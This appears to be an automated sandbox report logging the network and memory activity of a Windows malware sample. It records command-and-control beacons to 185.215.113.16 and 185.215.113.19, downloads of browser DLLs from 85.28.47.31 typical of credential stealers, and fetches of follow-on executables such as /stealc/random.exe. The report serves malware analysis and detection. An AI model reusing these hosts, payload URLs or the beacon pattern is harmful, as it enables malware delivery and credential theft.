Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332

Source: Joe Sandbox View	IP Address: 85.28.47.31 85.28.47.31
Source: Joe Sandbox View	IP Address: 185.215.113.19 185.215.113.19

Source: Joe Sandbox View	ASN Name: GES-ASRU GES-ASRU
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ?disabled=getCanStageUpdates - unable to apply updates because another instance of the application is already handling updates for this installation.https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ?disabled=getCanStageUpdates - unable to apply updates because another instance of the application is already handling updates for this installation.https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2954167196.000001B1066E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2909846838.000001F5FECF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: 8e8f4571c5.exe, 0000001C.00000002.3375734319.0000000005403000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2903172052.0000018A47990000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2952630491.000001B104590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2903172052.0000018A47990000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account<A{N equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2953298471.000001B104803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account~ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2952598665.000001B104580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -os-restarted https://www.youtube.com/accountH equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2996759132.000001B117583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2989528701.000001B116803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2989528701.000001B1168B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018521435.000001B11DD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2994122055.000001B116B81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2994122055.000001B116B97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3000161016.000001B1177A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2987356094.000001B11659D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2988472196.000001B116624000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2989528701.000001B1168B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018521435.000001B11DD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: :https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000003.2909698266.000001B107465000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2959579682.000001B107486000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2909956595.000001B107486000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2996759132.000001B1175D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2952630491.000001B104590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2909846838.000001F5FECF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account--attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2903172052.0000018A47990000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/accountzA{ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2909846838.000001F5FECF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevationC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2952630491.000001B104590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2903172052.0000018A47990000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exewinsta0\defaultxA{ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2903912469.0000018A49530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: G8p8https://www.youtube.com/account --attempting-deelevationUser equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000003.2910203943.000001B107454000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2909110092.000001B107454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account$ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2959579682.000001B1073B0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2910203943.000001B107454000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2909110092.000001B107454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2953298471.000001B104803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accounthttps://www.youtube.com/account@ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2996759132.000001B1175D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: O^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: 8e8f4571c5.exe, 00000018.00000002.3383993209.0000000006A26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000003.2909414064.000001B111826000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: START_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHRE equals www.youtube.com (Youtube)
